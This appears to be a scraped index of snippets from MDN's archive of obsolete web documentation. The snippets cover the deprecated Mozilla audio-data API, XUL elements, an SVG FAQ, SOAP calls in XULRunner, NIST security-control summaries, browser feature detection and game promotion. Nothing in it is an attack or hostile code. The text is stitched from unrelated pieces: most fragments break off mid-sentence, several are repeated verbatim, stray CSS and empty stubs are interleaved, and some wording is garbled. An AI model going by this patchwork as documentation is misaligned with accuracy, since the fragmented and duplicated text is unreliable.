g code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. please note that this document describes a non-standard experimental api. this api has been deprecated since gecko 22, disabled since gecko 28, and removed from gecko 31. you should use the web audio api instead. reading audio streams the loadedmetadata event when the metadata of the media element is available, it triggers a loadedmetadata event. this event has the following attributes: mozchannels: number of channels mozsamplerate: sample rate per second mozframebufferlength: number of samples collected in all channels this information is needed later to decode the audio data stream. the following example extracts th...
... it's also possible to auto-detect the minimal duration of the pre-buffer, such that the sound is played without interruptions, and lag b...
...eeds to be written at a regular interval in equal portions, in order to keep a little ahead of the current sample offset (the sample offset that is currently being played by the hardware can be obtained with mozcurrentsampleoffset()), where "a little" means something on the order of 500 ms of samples. for example, if working with two channels at 44100 samples per second, a writing interval of 100 ms, and a pre-buffer equal to 500 ms, one would write an array of (2 * 44100 / 10) = 8820 samples, and a total of (currentsampleoffset + 2 * 44100 / 2). it's also possible to auto-detect the minimal duration of the pre-buffer, such that the sound is played without interruptions, and lag between writing and playback is minimal. to do this start writing the data in small portions and wait for the val...
...ffset + 2 * 44100 / 2). it's also possible to auto-detect the minimal duration of the pre-buffer, such that the sound is played without interruptions, and lag between writing and playback is minimal. to do this start writing the data in small portions and wait for the value returned by mozcurrentsampleoffset() to be greater than 0. var prebuffersize = samplerate * 0.020; // initial buffer is 20 ms var autolatency = true, started = new date().valueof(); ... // auto latency detection if (autolatency) { prebuffersize = math.floor(samplerate * (new date().valueof() - started) / 1000); if (audio.mozcurrentsampleoffset()) { // play position moved? autolatency = false; } processing an audio stream since the mozaudioavailable event and the mozwriteaudio() method both use float32array va...
Clipboard Test - Archive of obsolete content
></style> <style>.description{ display: block; font-size: 13pt; color: #444; font-style: italic; margin-bottom: 7px; } .method>.returns{display: none;} .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param>.name:after{content: " as "; font-weight: normal; } .method>.params{display: block; color:#555;} .method>.params>.param{display: block; margin-bottom:5px;} .method>.params>.param>.name{font-weight:bold; margin-right:.5em; min-width:80px; display:inline-block;} .method>.params>.param>.description{display:inline-block; width:300px; vertical-align:top;margin-right:30px} .method>.params>.param>.type{display:inline-block; width:100px; vertical-align:top;font-weight:bo...
...features ...
...features can get and set the clipboard in various flavors of data type. the namespace associated ...
...features can get and set the clipboard in various flavors of data type. ...
Frequently Asked Questions - Archive of obsolete content
to install a plug-in to view svg files? this is probably because there is an <embed> or <object> tag in the html page and its 'type' attribute is set to the wrong mime type. the svg mime type is image/svg+xml (not image/svg-xml or anything else for that matter). correct this mistake or ask the document maintainer to correct it. how should i report bugs in mozilla svg? if you discover any problems with our svg implementation that you think we should know about then we'd like to hear from you. to help us make the best use of our time, please first search in the svg component of our bug database to check that the issue hasn't already been reported. if you can't find a matching bug please file a new svg bug report, preferably attaching a (very small!) svg file that demonstrates the bug. if yo...
...lementation that you think we should know about then we'd like to hear from you. to help us make the best use of our time, please first search in the svg component of our bug database to check that the issue hasn't already been reported. if you can't find a matching bug please file a new svg bug report, preferably attaching a (very small!) svg file that demonstrates the bug. if you have any problems with the bug database feel free to contact contact us. can i use a plugin for svg instead of mozilla's native support? individuals can choose to use a plugin to view svg in mozilla on their own computers, but there is no way for svg content authors to make mozilla use a plugin when people view the svg files on their website. the native svg support must be turned off before mozilla will look to ...
...ive support on/off. how does mozilla's svg implementation compare to adobe's? mozilla's native implementation is less complete than adobe svg viewer's in general. there are major features such as filters and smil based animation that have still to be implemented in mozilla. however, mozilla's implementation already supports some things that adobe's lacks, particularly parts of the xml and svg doms. for example we support svg exceptions and svgtransform objects. how do you install adobe's svg viewer in mozilla? the svg project is about mozilla's native implementation of svg, not adobe/corel/whoever's plug-in. however, we might as well answer this question to save you searching for this information elsewhere. see these install instructions on mozdev.org. it's also useful to know that you c...
...n't do either of these things you should still feel free to ask us friendly questions and give us constructive feedback. who's currently working on what? other than reviewing patches and fixing the occassional bug, alex is currently taking a break from active svg development to concentrate on 'real work' and cool stuff like xtf and jssh. tim is working on implementing <filter> and working on items that need to be done before turning on svg by default. after recently implementing gradients, scooter is working on fixing some issues that remain outstanding and fixing <switch>. jonathan is working on various bugs, especially those that need to be fixed before svg can be enabled in the official builds. david continues to create svg enabled nightlies and answer build related questions as he has ...
Space Manager Detailed Design - Archive of obsolete content
nsspacemanager the space manager is the central class is a group of classes that manage the occupied and available space that exists in horizontal bands across a canvas. ...
...lgorithm 1: getbanddata getbanddata is used to provide information to clients about what space if available and unavailable in a band of space. the client provides a vertical offset, the yoffset, that corresponds to the band that is of interest. this will be the y offset of the frame that is being reflowed. the caller also provides a collection of banddata objects (an array) and the number of items that the collection can handle. if the collection is too small, then an error is returned and the count is updated to indicate the size required. the algorithm to provide the band data is as follows: get a vertical offset in world coordinates (instead of frame-relative coordinates) by adding the y-origin of the spacemanager to the y offset passed in if the (adjusted) y value passed in is great...
...reference band tna dht band being examined if there is no more room in the banddata collection, estimate the number of entries requires as the current count + twice the number of bands below the reference band, plus two. return an error code so the caller can reallocate the collection and try again. check the size of the collection again, if there is no room left then estimate the number of items requires as the current count + twice the number of bands below the band in question plus one. create a new trapezoid in the band collection that has a region corresponding to the reference band rect, marked as occupied by either a single or multiple frames. move to the next band after walking all of the band data, se if we have reached the rightedge of the band. if not, then check for space...
... bandrect,and they have the same frame list, then make the current bandrect cover the previous bandrect's full region (adjust the left edge to be that of the previous bandrect) and remove the previous bandrect. if the current band or prior band had a rect occupied by the frame,then try to join the two bands via joinbands finally, destroy the frameinfo for the frame. cross-component algorithms tech notes original document information author(s): marc attinasi other contributors: david baron, josh soref last updated date: november 25, 2005 ...
Building accessible custom components in XUL - Archive of obsolete content
code> you can see the results by installing stage-1.xpi, restarting firefox, and selecting accjax from the tools menu. the final product looks like this: <caption>xul spreadsheet with 7 rows and 5 columns</caption> although this has the visual layout of a spreadsheet, assistive technologies will only see it as a collection of individual, unrelated text labels. if we inspect this with the msaa inspect32 tool, we see that each cell is exposed as role="text". <caption>it looks like a cell, but it's not</caption> assistive technologies also have no idea that our row headers and column headers are really headers. again, they are exposed as role="text". <caption>it looks like a column header, but it's not</caption> so, before we do anything else, we need to tell assistiv...
...when you click a spreadsheet cell, assistive technologies track the focus change and know which cell has received focus. <caption>cells really get focus</caption> clicking a row or column headers also changes the focus properly. <caption>cells really get focus</caption> further reading key-navigable custom d...
... would expect for that event. to make a long story short, this means that we can register a single event handler on the spreadsheet itself (technically, the grid element), then check <var>e.target.tagname</var> to see which element actually received the event. there is no need to register event handlers on every single cell within the spreadsheet. there is one small implementation issue, which stems from the way elements are laid out within the grid element. if you want to navigate up one row, it is relatively easy to find the right cell; it's the previous sibling of the currently focused cell. similarly, navigating down one row simply requires finding the next sibling of the currently focused cell. but navigating left and right is more difficult, since the cells are laid out in columns. we ...
...t.getelementbyid('accjaxspreadsheet'); spreadsheet.addeventlistener('keypress', spreadsheet_keypress, true); spreadsheet.addeventlistener('focus', spreadsheet_focus, true); spreadsheet.addeventlistener('click', spreadsheet_click, true); } </code> with this new event handler and associated helper functions, we can navigate between cells and headers using the arrow keys. inspect32 confirms that assistive technologies track the focus as we navigate within the spreadsheet. <caption>focus is tracked properly during keyboard navigation</caption> further reading document object model events adding editing capabilities download stage-5.zip install stage-5.xpi we now have a fully accessible xul spreadsheet, correctly focusable, correctly keyboard-navigable, and correctly expo...
appendItem - Archive of obsolete content
« xul reference home appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. ...
... « xul reference home appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. ...
...ally set a value. the function returns the newly created element. ...
... function returns the newly created element. ...
Sorting Results - Archive of obsolete content
the order of results of the sql query. for an rdf datasource, again, the results are in the order the query generates them, although except in the case of an rdf seq, this order is arbitrary as rdf triples don't occur in any particular order. when the reference node is an rdf seq container and the results are in that container, however, the template builder orders the results in the order the items appear in the seq. for instance, the photos are listed in the same order in this example as they appear in the seq in the datasource. this method of sorting a seq works best for the simple query syntax since it is obvious how the starting ref relates to the end member results (they are just the children), or for extended syntax queries that follow a similar pattern. for more complex queries, this...
...ce, if a list of photos was displayed in a two column tree showing the title and description, you could sort by either title or description. the user can change the sort column and direction by clicking the column headers, however, you can programmatically change the sort as well. sorting tree results we'll examine sorting of trees first since trees are the most common element used with sorted items. using a tree builder, you can sort the results in a tree by a column. to do this, place a sort attribute on a treecol element referring to the variable to sort by for that column. <treecol id="name" label="name" sort="?name" flex="1"/> <treecol id="date" label="date" sort="?date" flex="1"/> in this example, the first column will be sorted by the ?name variable and the second column by the ?date...
...the template. the sortactive attribute is not needed. in this example, the list of people is sorted ascending by name. <listbox datasources="people2.xml" ref="*" querytype="xml" sort="?name" sortdirection="ascending"> <template> <query expr="*/*"/> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> it will often be the case that multiple items have the same value, especially for larger amounts of data. you can specify multiple sort keys to further define how a sort should be handled in the case where the values for the first sort key are the same. to do this, just add another key after the first separated by a space, as in the following: sort="?name ?gender" in this example, results will be sorted by name, followed by gender for those...
...when sorting, the predicate specified in the sort attribute for the result is used to determine where in the content the generated output should be inserted. the is similar to using a variable but any predicate may be used, not just one that is used in the template. changing the sort to change the sorting for a template's generated contents, you can either change the sort...
XUL Changes for Firefox 1.5 - Archive of obsolete content
refox 1.5. <scrollcorner> a <scrollcorner> element is added which is used to create the small box in the intersection of the horizontal and vertical scrollbars. <richlistbox> and <richlistitem> the <richlistbox> and <richlistitem> elements are used for creating lists containing arbitrary content. this element works similarly to the <listbox> which is designed primarily for lists of textual items. the <richlistbox> supports much of the same api as the <listbox> and single items, created with the <richlistitem> element may be selected. see xul:richlistbox for more information. preferences system several elements have been added which may be used for creating preference windows. these windows are special types of dialogs which support several panels, each of which may be contained in the ...
...rty the <dialog> binding now supports the defaultbutton property. setting this property changes the default button of the dialog. it can be set either to one of the buttons of the <dialog> binding (using their names); or to none - in which case no button is set to be the default. button: icon property the icon property on a button may be used to set stock icons on a button, used on some platforms. ...
...n of the dialog. it can be set either to one of the buttons of the <dialog> binding (using their names); or to none - in which case no button is set to be the default. button: icon property the icon property on a button may be used to set stock icons on a button, used on some platforms. for instance <button icon="help"> will create a button with a help icon. this is used typically on gnome systems where possible values are: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. <menulist> items in a <menulist> support the description attribute to allow for extra descriptive text to appear beside an item's label. the menulist modification methods appenditem and insertitemat tak...
... <listbox> the removeitemat method was sometime non zero-based due to a bug (bug 236068). this has been fixed in firefox 1.5 and all code depending on this non zero-based behaviour should be changed. ...
XUL Questions and Answers - Archive of obsolete content
if user wants checkbox support for multicolumn lists, then they will have to implement one. are xul attributes integers? xul attributes such as left="100" or top="200", as well as corresponding properties, look as if they're integers but they are actually handled as strings. to convert them to integers use the parseint() javascript function. while the attributes are always str...
...ually handled as strings. to convert them to integers use the parseint() javascript function. while the attributes are always strings per the dom specification, the properties will eventually be fixed to return the value with the correct type. using the "icon" attribute on a button from xulplanet.com reference: this attribute should be used to set the usage for common buttons. some platforms display these buttons with a small icon indicating their usage. this should be used in place of the image attribute. possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. if you are using a button that matches one of these common usages, use the icon attribute...
... menupopup from an rdf datasource, which could be generated on the server. by getting data (e.g. json string) from the server, parsing it on client, and building the menupopup using dom methods (such as document.createelementns). by getting data as xml from the server. (server can just send the xul code to use for popup - alternatively it can send generic xml describing the attributes of the items in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item background color with javascript? to set the background color you need to set the property for the cell/row and not for the item. an example of this is: var tree = document.getelementbyid('treeid'); selectedtreeitem = tree.view.getitematindex(tree.currentindex); selectedtreei...
...erly set up the application.ini file. ...
The Implementation of the Application Object Model - Archive of obsolete content
own their blinders and see only the fact that we were off adding a whole slew of new stuff to html when we could have been firming up our standards story. by making xul a separate beast, this is less of an issue. since an aom tree cannot be placed inside a dom tree, xul applications don't ever occur inside web pages. by enforcing this distinction, we can successfully defend ourselves from any claims that we were "mucking about with strange new html" when we could have been working on our standards story. forget xul and rdf? we don't need any of this complicated nonsense! just let us go off and make our widgets and build our applications the old-fashioned way! we're still cross-platform, since we'd only have to write widgets like trees and toolbars once! i say, forget this whole thing! let...
...cture, then dialogs would have to be described using native widgetry (unless you're willing to design an html dialog system, which still wouldn't cut it without extending html), and communicator would have to ship with both widget sets. the native widgets would also be an issue for something like a gfx-toolbar, which would need to contain the native widgets and still look consistent on all platforms. the native widgets also wouldn't be fully css responsive, which would mean they might look strange when placed in a dialog or on a toolbar with a rendered background. of course you could always say that toolbars and dialogs just wouldn't be able to have backgrounds with different colors, but that leads into the next point. a staggering loss of functionality. an incredible array of features woul...
...cific mailbox node. our architecture must know how to examine this localdata attribute to determine not only which kind of pluggable content needs to be instantiated, but that also has to determine which specific node should be instantiated. in order to accomplish this, our architecture has to have some sort of facility whereby different types of content, e.g., mail and bookmarks, can register themselves as the appropriate content to be instantiated for a given uri. we could do this using a registry that can map strings to cids, so we have a story for instantiating our different content nodes. but now let's consider one of these nodes, e.g., nsmailelement. let's look at the set of interfaces that nsmailelement needs to implement in order to exist in a xul tree as fully scriptable content. ns...
...er content model you happen to have built that the transformation could be applied. if there is a common intermediate representation of the data in question, then we need only implement n translators, one for each content model representation that can hold our aggregate data. yet another example of this problem arises from the need to perform fast sorts on a potentially large number of content items. using the dom apis to walk the content nodes and reorder them would be an act of madness. futhermore, the original natural order of the items (e.g., in the case of bookmarks) would be lost. when performing the sort, it would be advantageous to be able to form the new sorted content model without losing or disrupting the natural sort. statement #3 the fact that the same hunk of aggregate data ...
menuitem - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. note: the menuitem must have a class of menuitem-iconic for the image to appear. key typ...
...pear. key type: id set to the id of a key element whose key shortcut is displayed in the menuitem. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. name type: string name radio menuitems with the same name as put into a group. only one menuitem in each radio group can be checked at a time. selected type: boolean indicates whether the element is selected or not. this value is read-only. to change the selection, set either the selectedindex or selecteditem property of the containing element. tabindex type: integer the tab order of the element. the tab order is t...
...nge the selection, set either the selectedindex or selecteditem property of the containing element. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. type type: one of the values below can be used to create checkable menuitems or for radio button menuitems. checkbox the menuitem is checked. the checked attribute determines whether the menuitem is checked or not. radio the menuitem becomes part of a radio group. other menuitems that have the same value for their name attributes are part of the same radio group. only one menuitem in the same radio group can be checked at once. more information on adding...
...selectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes menuitem-iconic use this class to have an image appear on the menuitem. specify the image using the image attribute. menuitem-non-iconic normally, menuitems have a margin to the left for an image or checkmark. this class may be used to remove this margin so that the menuitem appears on the left edge of the menupopup. related elements menu, menubar, menulist, menupopup, menuseparator interfaces nsiaccessibleprovider, nsidomxulcontaineritemelement, nsidomxulselectcontrolitemelement ...
radiogroup - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. focused type: boolean this attribute is true if the element is focused. preference type: id connects the element to a corresponding preference. this attribute only has any effect when used inside a prefwindow. more information is available in the preferences system article. tabind...
...he element. disabled type: boolean gets and sets the value of the disabled attribute. focuseditem type: radio element holds the currently focused item in the radiogroup, which may or may not be the same as the selected item. you can change the focused item by setting this property. itemcount type: integer read only property holding the number of child items. selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selecteditem type: element holds the currently selected item. if no item is currently selected, this value ...
... normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. checkadjacentelement( dir ) return type: no return value deselects the currently selected radio button in the group and selects the one adjacent to it. if the argument dir is true, the next radio button is selected. if it is false, the previous radio button is selected. getindexofitem( item ) return type: in...
...created element. checkadjacentelement( dir ) return type: no return value deselects the currently selected radio button in the group and selects the one adjacent to it. if the argument dir is true, the next radio button is selected. if it is false, the previous radio button is selected. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. remove...
toolbarpalette - Archive of obsolete content
you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
... you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
... you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
... you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
it requires servers to support wsdl which took it out of the running. xulrunner 1.8.* - using an old xulrunner is certainly an option but brings up a host of speed, stability and memory issues. ...
...it requires servers to support wsdl which took it out of the running. xulrunner 1.8.* - using an old xulrunner is certainly an option but brings up a host of speed, stability and memory issues. ...
...implement a robust client in an afternoon. the best solution proved to be jqsoapclient. this library doesn't require a wsdl. though jquery is listed as a dependency, it can be worked around easily. ...
...) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < u...
Security Controls - Archive of obsolete content
s have a common goal: give attackers as few opportunities as possible to breach a system. there are three types of security controls, as follows: management controls: the security controls that focus on the management of risk and the management of information system security. operational controls: the security controls that are primarily implemented and executed by people (as opposed to systems). technical controls: the security controls that are primarily implemented and executed by the system through the system's hardware, software, or firmware. all three types of controls are necessary for robust security. for example, a security policy is a management control, but its security requirements are implemented by people (operational controls) and systems (technical controls). think of...
... when usability is an issue, many users will attempt to circumvent security controls; for example, if passwords must be long and complex, users may write them down. ...
...luding not visiting malicious websites. security controls to help thwart phishing, besides the management control of the acceptable use policy itself, include operational controls, such as training users not to fall for phishing scams, and technical controls that monitor emails and web site usage for signs of phishing activity. a common problem with security controls is that they often make systems less convenient or more difficult to use. when usability is an issue, many users will attempt to circumvent security controls; for example, if passwords must be long and complex, users may write them down. balancing security, functionality, and usability is often a challenge. the goal should be to strike a proper balance: provide a reasonably secure solution while offering the functionality an...
... might prevent the threat from successfully breaching the system. a combination of network-based and host-based controls is generally most effective at providing consistent protection. original document information author(s): u.s. department of commerce title: federal information processing standard publication 200, minimum security requirements for federal information and information systems last updated date: march 2006 copyright information: this document is not subject to copyright. original document information author(s): karen scarfone, wayne jansen, and miles tracy title: nist special publication 800-123, guide to general server security last updated date: july 2008 copyright information: this document is not subject to copyright. ...
Browser Feature Detection - Archive of obsolete content
document.title true true true document.referrer true true true document.domain true true true document.url true true true document.body true true true document.images true true true document.applets true true true document.links true true true document.forms true true true document.anchors true true true document.cookie true true true document.open() true true true document.close() true true true document.write() true true true document.writeln() true true true document.getelementbyid() true true true documen...
...dercollapse true true true borderspacing true false true bordertopcolor true true true borderrightcolor true true true borderbottomcolor true true true borderleftcolor true true true bordertopstyle true true true borderrightstyle true true true borderbottomstyle true true true borderleftstyle true true true bottom true true true captionside true false true clear true true true clip true true true content true false true counterincrement true false true counterreset true false true cue tru...
...orted': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'title', 'supported': false}, {name: 'referrer', 'supported': false}, {name: 'domain', 'supported': false}, {name: 'url', 'supported': false}, {name: 'body', 'supported': false}, {name: 'images', 'supported': false}, {name: 'applets', 'supported': false}, {name: 'links', 'supported': false}, {name: 'forms', 'supported': false}, {name: 'anchors', 'supported': false}, {name: 'cookie', 'supported': false}, {name: 'open', 'supported': false}, {name: 'close', 'supported': false}, {name: 'write', 'supported': false}, {name: 'writeln', 'supported': false}, {name: 'getelementbyid', 'supported': false}, {name: 'getelementsbyname', 'supported': false} ], 'domcore2': [ {name: 'doctype', ...
...rdercollapse', 'supported': false}, {name: 'borderspacing', 'supported': false}, {name: 'bordertopcolor', 'supported': false}, {name: 'borderrightcolor', 'supported': false}, {name: 'borderbottomcolor', 'supported': false}, {name: 'borderleftcolor', 'supported': false}, {name: 'bordertopstyle', 'supported': false}, {name: 'borderrightstyle', 'supported': false}, {name: 'borderbottomstyle', 'supported': false}, {name: 'borderleftstyle', 'supported': false}, {name: 'bottom', 'supported': false}, {name: 'captionside', 'supported': false}, {name: 'clear', 'supported': false}, {name: 'clip', 'supported': false}, {name: 'content', 'supported': false}, {name: 'counterincrement', 'supported': false}, {name: 'counterreset', 'supported': false}, {name: 'cue', 'support...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
and descriptions of the fish. well, i couldn't letthat continue—fish are flexible, slippery things, and tables are very much not. so i decided to break up the content so that there is a self-contained bit of markup for each fish, and then get down to styling. here's what one of those bits looks like once all the css has been applied. in order to make the fish cam page as agile as the fish themselves, it was necessary to strip out all of the tables, font tags, and other non-validating stuff. at the end of it, there were a series of div elements that contained a picture of the fish, the name of the fish, and one or more paragraphs of text about the fish. here's a typical (and short) example. <div class="card"> <img src="thumb_clown_trigger.jpg" alt="clown trigger" border="0" width="150...
...tion like a trading card. although this design approach was abandoned fairly quickly, the class name stuck, kind of like a barnacle. giving the fish some style with the markup all set, it was time to style. the idea was to have the fish listed in a side-by-side arrangement, sort of like a two-column table, only without the table. this was most easily accomplished by floating the div elements themselves. since i wanted them to be side by side, it was important to be sure the total width of the element boxes (including margins) was less than 50%, so the first step was this: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} by making the content of each card 45% the width of the containing element, and adding 2% margin to both the left and right sides, each card's element box is 49...
...ted div. it just seemed like a fish cam page should have a lot of floating for some reason. i also added a border to the image, so that it would have a nice frame. div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; border: 1px solid #339;} that done, it was time to style the fish names. these are enclosed in h3 elements, so the field was pretty wide open in terms of what we could do. since the image was floated, any background or border we set on the h3 would "slide under" the image; this is an expected effect with floated elements. rather than try to fight it or push the image below the h3's element box, i let the image mostly overlap the h3, but with a slight offset. i then set up a thicker double border on the left, a one-pixel border the rest of the w...
... the text of the h3 was basically touching the right side of the floated image... ...or it would have been, except in some browsers the heading was drawn over the floated image, in contradiction to the css specification. getting the image back on top of the heading turned out to be a matter of relatively positioning the floated imag...
Reference - Archive of obsolete content
— the preceding comment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix. for example, "script" and "program" are synonymous. so are "current object" and "context object". we could also put in layman definitions there for js constructs like functions and variables. --maian 01:43, 30 september 2005 (pdt) we should define the terms we are using. in particular this means we should define activation object somewhere (and link to it whenever we mention it). --nickolay 18:40, 16 july 2006 (pdt) js 1.2 and gecko 1.8 per the fix for bug 255895, "javascript1.2" values for the script's language attribute no longer work, e.g. <script language="javascript1.2"> will execute the script in the latest js version rather than js 1.2. so...
...hing like this : function -> object -> instance instance is for example the math object, it behaves same way as creating new object. i checked this by doing alert(math.constructor) //shows that object is its constructor alert(object.constructor) //shows that function is its constructor alert(function.constructor) //shows that function is its constructor note : the function.constructor seems to keep on refering to itself, if you do the following you get same results which suggests that this is indeed the top level object. alert(function.constructor.constructor) alert(function.constructor.constructor.constructor.constructor) function == object however the following statement suggests that function is object. but when we create a prototype method for object its also available in func...
...differences between the current latest version, and the documented 1.5 version ? (every time a new version comes out, a few more things are added to that page). none of those options appeal to me. what is the right way to write about the latest javascript version? --davidcary 06:42, 31 january 2007 (pst) we already discussed this. see core javascript 1.5 reference/reorg. the right thing to do seems to be: move all the "... javascript 1.5 ..." pages to "... js ..." (no version number). make the pages document the latest version. each statement/function/object/operator/feature has a small note telling what version introduced that feature. perhaps a larger footnote if there are backwards-compatibility issues involved in using that feature. <hr> xmlhttprequest xmlhttprequest is a host obje...
... article from the main page and global objects page at least. --nickolay 09:48, 31 january 2007 (pst) yes, it's not a "core" javascript object. let me try to add the links you suggested ... --davidcary 10:25, 31 january 2007 (pst) why distinguish global objects from global properties from global functions? why do we distinguish global objects from global properties from global functions? it seems like "global object" and "global property" are synonyms, and all global functions are global objects/properties. is there something i'm missing? ruakh 20:31, 26 february 2007 (pst) this was something that was supposed to be fixed in the reorganization, which has still yet to occur. sevenspade 22:34, 26 february 2007 (pst) since it doesn't look like the reorganization is going to happen in the ...
Archived open Web documentation - Archive of obsolete content
the documentation listed below is archived, obsolete material about open web topics. talk:background-size should not the "browser compatibility" table also list google chrome and konqueror? chome is not mentioned at all, but is becoming increasingly popular. konqueror is listed below the table, which seems inconsistent. znerd 04 august 2009 browser detection and cross browser support improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific...
...04 august 2009 browser detection and cross browser support improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. browser feature detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are disp...
...github reference contained the code) but inserted a faster implementation above while retaining the rest of the document. iterator the iterator function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object. liveconnect (please update or remove as needed.) msx emulator (jsmsx) old proxy api proxies are objects for which the programmer has to define the semantics in javascript. the default object semantics are implemented in the javascript engine, often written in lower-level languages like c++. proxies let the programmer define most of the behavior of an object in javascript. they are said to provi...
... because opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog(). instead of opening a new window, it merges the specified xul dialog into the main window. writing javascript for xhtml technical review completed. editorial review completed. xforms xforms were envisioned as the future of online forms as envisioned by the w3c. drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model. however, xforms never gained traction and is now considered obsolete. ...
Game promotion - Game development
to follow a mandatory theme, so you can get creative around a theme if you are stuck for ideas. website and blog you should definitely create your own website containing all the information about your games, so people can see what you've worked on. the more information you can include the better — you should include screenshots, description, trailer, press kit, requirements, available platforms, support details and more. you'll get bonus points for allowing your users to directly play your games online — at least in demo form. also, you should do some work on seo to allow people to find your games more easily. you should also blog about everything related to your gamedev activities. write about your development process, nasty bugs you encounter, funny stories, lessons learned, and th...
... is very important — follow the right hashtags, make friends, engage in conversations, help other devs in need. honesty is key and you should be authentic, because nobody likes boring press releases or pushy advertisements. when the time comes your community will help you spread the word about your shiny little game. you should use at least twitter and facebook and be active on appropriate forums — the most popular one is html5gamedevs.com. share your gamedev news and answer questions, so people will value what you're doing and will know that you're ok. remember to not be too pushy on telling everyone about your games — you're not a walking advertisement. grow your fanbase by talking to them, sharing tips, offering discounts, giving away prizes in competitions, or just complaining at...
...ol to make games visible to a broader audience if you have no budget and limited time. press you can try and reach the press about your game, but bear in mind that they get a tonne of requests like this every single day, so be humble and patient if they don't answer right away, and be polite when talking to them. be sure to check first if they are dealing with specific genres of games or platforms, so you don't send them something that is not relevant to them in the first place. if you're honest with your approach and your game is good, then you've got more of a chance of success. if you want to learn more about the etiquette of contacting the press you should definitely check out how to contact press - a great guide from pixel prospector, and the video game journaliser site curated by th...
... check out how to contact press - a great guide from pixel prospector, and the video game journaliser site curated by them for the list of sites to contact. tutorials it's good to share your knowledge with other devs — after all you probably learned a thing or two from online articles, so you take the time to pay that knowledge forward. talking or writing about something you achieved or problems you overcame is something people would be interested it. and you can use your own game as an example, especially in a tutorial when you're showing how to do something you've implemented already. that way everyone benefits — people learn new skills, your game gets promoted, and if you're lucky you can even get paid for writing a tutorial if it's good enough. there are portals like tuts+ game de...
Tiles and tilemaps overview - Game development
